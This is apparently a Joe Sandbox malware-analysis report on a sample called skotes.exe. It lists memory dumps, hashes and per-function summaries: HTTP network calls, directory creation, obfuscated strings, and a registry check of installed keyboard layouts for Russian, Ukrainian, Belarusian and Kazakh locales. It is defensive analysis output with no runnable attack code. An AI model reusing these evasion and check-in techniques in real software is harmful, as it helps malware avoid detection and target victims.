Associated: 00000003.00000002.2191068741.0000000000EF0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2191085824.0000000000EF1000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_bd0000_skotes.jbxd

Yara matches

Similarity

API ID: Xtime_diff_to_millis2_xtime_get
String ID:
API String ID: 531285432-0
Opcode ID: f8543847f07726ee3c49c09d30cecc01f351075ae0b7e82b83cf81ea777003c3
Instruction ID: 74f59ea1929a9731ec60f8544cf756a0ec4062a3451105935b79763ed191b336
Opcode Fuzzy Hash: f8543847f07726ee3c49c09d30cecc01f351075ae0b7e82b83cf81ea777003c3
Instruction Fuzzy Hash: FA2121759001599FDF00EFA5DC81DBFBBB9EF08710F100455F901A7251DB349D069B90

Analysis Process: skotes.exePID: 5156, Parent PID: 1064COMMON

Execution Graph

Execution Coverage:	6.8%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	7.2%
Total number of Nodes:	1145
Total number of Limit Nodes:	119

Executed Functions

Function 00BDE530 Relevance: 23.7, APIs: 2, Strings: 11, Instructions: 998
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

GnNoc2Hc, xrefs: 00BDE56C
#, xrefs: 00BE0624
9c9aa5, xrefs: 00BDFB8E
WTw=, xrefs: 00BE097D
246122658369, xrefs: 00BDF737, 00BDFA14, 00BE05E7, 00BE099A
MGE+, xrefs: 00BDE821
WTs=, xrefs: 00BE05CA
MQ==, xrefs: 00BDE592
UA==, xrefs: 00BDEB0F, 00BDED56
WDw=, xrefs: 00BDF71D, 00BDF9FA
111, xrefs: 00BDF7A0

Memory Dump Source

Source File: 00000006.00000002.3457897829.0000000000BD1000.00000040.00000001.01000000.00000008.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000006.00000002.3457753663.0000000000BD0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3457897829.0000000000C32000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3458429750.0000000000C39000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3458649300.0000000000C3B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3458785892.0000000000C45000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3459052762.0000000000C46000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3459270282.0000000000C47000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3460431228.0000000000DA1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3461770601.0000000000DA3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3463645711.0000000000DBA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3464669746.0000000000DBC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3464800919.0000000000DBE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3464800919.0000000000DC8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3466594651.0000000000DCD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3467635601.0000000000DCF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3467790959.0000000000DDB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3469684463.0000000000DE1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3469922798.0000000000DF6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3473492363.0000000000E09000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3474734079.0000000000E21000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3475645098.0000000000E22000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3476651388.0000000000E2A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3476938674.0000000000E2B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477070298.0000000000E34000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477264101.0000000000E3B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477393595.0000000000E3C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477657476.0000000000E3E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477851250.0000000000E4C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478022799.0000000000E4E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478177580.0000000000E4F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478382081.0000000000E56000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478540619.0000000000E5D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478784297.0000000000E5F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478916346.0000000000E67000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3479082698.0000000000E69000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3479224017.0000000000E78000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3479587230.0000000000E79000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3479587230.0000000000EA9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480189121.0000000000EC3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480364133.0000000000EC4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480502735.0000000000EDA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480582275.0000000000EDB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480721803.0000000000EDC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480920537.0000000000EE0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3481180448.0000000000EE2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3481324628.0000000000EF0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3481427628.0000000000EF1000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_bd0000_skotes.jbxd

Yara matches

Similarity

API ID:
String ID: #$111$246122658369$9c9aa5$GnNoc2Hc$MGE+$MQ==$UA==$WDw=$WTs=$WTw=
API String ID: 0-2571795437
Opcode ID: 261301e9ffdd1cdd7279cdd9bf20b138083016fa6aaaa0487dbd78fd9518ef0b
Instruction ID: e8aa58919117d838c16f8cf802e3fa106eae8f8ed73cd41c6204148333d86609
Opcode Fuzzy Hash: 261301e9ffdd1cdd7279cdd9bf20b138083016fa6aaaa0487dbd78fd9518ef0b
Instruction Fuzzy Hash: 9C82D2709142889BEF14EF68C9497DEBFF6EB01304F508599E8152B3C2D7759A88CBD2

Function 00C12517 Relevance: 5.6, APIs: 1, Strings: 2, Instructions: 374
timeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTimeZoneInformation.KERNEL32(?,00000000,00000000,00000000,?,00C26758), ref: 00C1275C

Strings

Eastern Summer Time, xrefs: 00C127FA
Eastern Standard Time, xrefs: 00C127CB

Memory Dump Source

Source File: 00000006.00000002.3457897829.0000000000BD1000.00000040.00000001.01000000.00000008.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000006.00000002.3457753663.0000000000BD0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3457897829.0000000000C32000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3458429750.0000000000C39000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3458649300.0000000000C3B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3458785892.0000000000C45000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3459052762.0000000000C46000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3459270282.0000000000C47000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3460431228.0000000000DA1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3461770601.0000000000DA3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3463645711.0000000000DBA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3464669746.0000000000DBC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3464800919.0000000000DBE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3464800919.0000000000DC8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3466594651.0000000000DCD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3467635601.0000000000DCF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3467790959.0000000000DDB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3469684463.0000000000DE1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3469922798.0000000000DF6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3473492363.0000000000E09000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3474734079.0000000000E21000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3475645098.0000000000E22000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3476651388.0000000000E2A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3476938674.0000000000E2B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477070298.0000000000E34000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477264101.0000000000E3B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477393595.0000000000E3C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477657476.0000000000E3E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477851250.0000000000E4C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478022799.0000000000E4E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478177580.0000000000E4F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478382081.0000000000E56000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478540619.0000000000E5D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478784297.0000000000E5F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478916346.0000000000E67000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3479082698.0000000000E69000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3479224017.0000000000E78000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3479587230.0000000000E79000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3479587230.0000000000EA9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480189121.0000000000EC3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480364133.0000000000EC4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480502735.0000000000EDA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480582275.0000000000EDB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480721803.0000000000EDC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480920537.0000000000EE0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3481180448.0000000000EE2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3481324628.0000000000EF0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3481427628.0000000000EF1000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_bd0000_skotes.jbxd

Yara matches

Similarity

API ID: InformationTimeZone
String ID: Eastern Standard Time$Eastern Summer Time
API String ID: 565725191-239921721
Opcode ID: 19884379f9c1ebbbd3a913964efab69212488cc1cb1edf80a613ec5d486e951d
Instruction ID: e49d94a7f6feee81a37189f968de0de165511f974d82787951079a134be285f1
Opcode Fuzzy Hash: 19884379f9c1ebbbd3a913964efab69212488cc1cb1edf80a613ec5d486e951d
Instruction Fuzzy Hash: 89C11479A00205AFDB24EF68DC41BEE7BA9EF47314F244059E8A0972D1E7318E91F750

Function 00BDEB4E Relevance: 30.1, APIs: 3, Strings: 13, Instructions: 2131
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 00BDEB51
CreateDirectoryA.KERNEL32(00000000), ref: 00BDEC83
GetFileAttributesA.KERNEL32(00000000), ref: 00BDED98

Strings

#, xrefs: 00BE0624
9c9aa5, xrefs: 00BDFB8E
WTs=, xrefs: 00BE05CA
WDw=, xrefs: 00BDF71D, 00BDF9FA, 00BDFDE3
invalid stoi argument, xrefs: 00BE08B0
111, xrefs: 00BDF7A0
FisgLnsCZO1i, xrefs: 00BDFF19
FCQgKF==, xrefs: 00BDFEE4
246122658369, xrefs: 00BDF737, 00BDFA14, 00BDFE00, 00BE05E7
GiQaT29tduF=, xrefs: 00BDFEB6
UA==, xrefs: 00BDEC41, 00BDED56, 00BDEF89, 00BDF2CE
stoi argument out of range, xrefs: 00BE08C4
mxo1L0x, xrefs: 00BDEE84

Memory Dump Source

Source File: 00000006.00000002.3457897829.0000000000BD1000.00000040.00000001.01000000.00000008.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000006.00000002.3457753663.0000000000BD0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3457897829.0000000000C32000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3458429750.0000000000C39000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3458649300.0000000000C3B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3458785892.0000000000C45000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3459052762.0000000000C46000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3459270282.0000000000C47000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3460431228.0000000000DA1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3461770601.0000000000DA3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3463645711.0000000000DBA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3464669746.0000000000DBC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3464800919.0000000000DBE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3464800919.0000000000DC8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3466594651.0000000000DCD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3467635601.0000000000DCF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3467790959.0000000000DDB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3469684463.0000000000DE1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3469922798.0000000000DF6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3473492363.0000000000E09000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3474734079.0000000000E21000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3475645098.0000000000E22000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3476651388.0000000000E2A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3476938674.0000000000E2B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477070298.0000000000E34000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477264101.0000000000E3B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477393595.0000000000E3C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477657476.0000000000E3E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477851250.0000000000E4C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478022799.0000000000E4E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478177580.0000000000E4F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478382081.0000000000E56000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478540619.0000000000E5D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478784297.0000000000E5F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478916346.0000000000E67000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3479082698.0000000000E69000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3479224017.0000000000E78000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3479587230.0000000000E79000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3479587230.0000000000EA9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480189121.0000000000EC3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480364133.0000000000EC4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480502735.0000000000EDA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480582275.0000000000EDB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480721803.0000000000EDC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480920537.0000000000EE0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3481180448.0000000000EE2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3481324628.0000000000EF0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3481427628.0000000000EF1000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_bd0000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesFile$CreateDirectory
String ID: mxo1L0x$#$111$246122658369$9c9aa5$FCQgKF==$FisgLnsCZO1i$GiQaT29tduF=$UA==$WDw=$WTs=$invalid stoi argument$stoi argument out of range
API String ID: 1875963930-2267310118
Opcode ID: 9d6a6a1bba17ba24cc29c8455440125bb8a4e4ccef01fb05b20b8e09f7bfdd03
Instruction ID: 2c0fcb48e2ef0cf540fac593a0baaf4f44c538f12f5c3207886e0941a9d4d882
Opcode Fuzzy Hash: 9d6a6a1bba17ba24cc29c8455440125bb8a4e4ccef01fb05b20b8e09f7bfdd03
Instruction Fuzzy Hash: B5F28C71A101849BEF18DB38CD8979DBBF29F46304F1082E9E409A73D6DB759AC4CB91

Function 00BDBE30 Relevance: 19.6, APIs: 6, Strings: 5, Instructions: 313
networksleepfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(000005DC,845AEA34,?,00000000), ref: 00BDBEB8
InternetOpenW.WININET(00C28DC8,00000000,00000000,00000000,00000000), ref: 00BDBEC8
InternetConnectA.WININET(00000000,?,00000050,00000000,00000000,00000003,00000000,00000001), ref: 00BDBEEC
HttpOpenRequestA.WININET(?,00000000), ref: 00BDBF36
HttpSendRequestA.WININET(?,00000000), ref: 00BDBFF5
InternetReadFile.WININET(?,?,000003FF,?), ref: 00BDC0A7
InternetCloseHandle.WININET(?), ref: 00BDC187
InternetCloseHandle.WININET(?), ref: 00BDC18F
InternetCloseHandle.WININET(?), ref: 00BDC197

Strings

8HJUeMD Lq5=, xrefs: 00BDC465
RE1NXF==, xrefs: 00BDBF0E
8HJUeIfzLo==, xrefs: 00BDC3CB, 00BDC623
stoi argument out of range, xrefs: 00BDE4EA
invalid stoi argument, xrefs: 00BDE4F4

Memory Dump Source

Source File: 00000006.00000002.3457897829.0000000000BD1000.00000040.00000001.01000000.00000008.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000006.00000002.3457753663.0000000000BD0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3457897829.0000000000C32000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3458429750.0000000000C39000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3458649300.0000000000C3B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3458785892.0000000000C45000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3459052762.0000000000C46000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3459270282.0000000000C47000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3460431228.0000000000DA1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3461770601.0000000000DA3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3463645711.0000000000DBA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3464669746.0000000000DBC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3464800919.0000000000DBE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3464800919.0000000000DC8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3466594651.0000000000DCD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3467635601.0000000000DCF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3467790959.0000000000DDB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3469684463.0000000000DE1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3469922798.0000000000DF6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3473492363.0000000000E09000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3474734079.0000000000E21000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3475645098.0000000000E22000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3476651388.0000000000E2A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3476938674.0000000000E2B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477070298.0000000000E34000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477264101.0000000000E3B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477393595.0000000000E3C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477657476.0000000000E3E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477851250.0000000000E4C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478022799.0000000000E4E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478177580.0000000000E4F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478382081.0000000000E56000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478540619.0000000000E5D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478784297.0000000000E5F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478916346.0000000000E67000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3479082698.0000000000E69000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3479224017.0000000000E78000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3479587230.0000000000E79000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3479587230.0000000000EA9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480189121.0000000000EC3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480364133.0000000000EC4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480502735.0000000000EDA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480582275.0000000000EDB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480721803.0000000000EDC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480920537.0000000000EE0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3481180448.0000000000EE2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3481324628.0000000000EF0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3481427628.0000000000EF1000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_bd0000_skotes.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandle$HttpOpenRequest$ConnectFileReadSendSleep
String ID: 8HJUeIfzLo==$8HJUeMD Lq5=$RE1NXF==$invalid stoi argument$stoi argument out of range
API String ID: 2167506142-885246636
Opcode ID: 8808f6ec3a4d83b446dd6ba418287f7617595f7eb586ee792e36d09eee899b9a
Instruction ID: d840e086306bbab56170b9461311048b5cb03936d200cbf7ba8a40e8244e479d
Opcode Fuzzy Hash: 8808f6ec3a4d83b446dd6ba418287f7617595f7eb586ee792e36d09eee899b9a
Instruction Fuzzy Hash: 8EB1F4B16001199BDB28CF28CC85B9DBBB5EF45304F5041EAF509972D2EB709AC4CB95

Function 00BD6020 Relevance: 12.5, APIs: 2, Strings: 5, Instructions: 275
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyExA.KERNEL32(80000001,00000000,00000000,00020019,80000001,0000043f,00000008,00000423,00000008,00000422,00000008,00000419,00000008), ref: 00BD617D
RegEnumValueA.KERNEL32(?,00000000,?,00001000,00000000,00000000,00000000,00000000), ref: 00BD6271

Strings

00000422, xrefs: 00BD60C9
00000419, xrefs: 00BD6098
0000043f, xrefs: 00BD612B
Keyboard Layout\Preload, xrefs: 00BD6054
00000423, xrefs: 00BD60FA

Memory Dump Source

Source File: 00000006.00000002.3457897829.0000000000BD1000.00000040.00000001.01000000.00000008.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000006.00000002.3457753663.0000000000BD0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3457897829.0000000000C32000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3458429750.0000000000C39000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3458649300.0000000000C3B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3458785892.0000000000C45000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3459052762.0000000000C46000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3459270282.0000000000C47000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3460431228.0000000000DA1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3461770601.0000000000DA3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3463645711.0000000000DBA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3464669746.0000000000DBC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3464800919.0000000000DBE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3464800919.0000000000DC8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3466594651.0000000000DCD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3467635601.0000000000DCF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3467790959.0000000000DDB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3469684463.0000000000DE1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3469922798.0000000000DF6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3473492363.0000000000E09000.00000040.00000001.01000000.00000008.sdmpDownload File
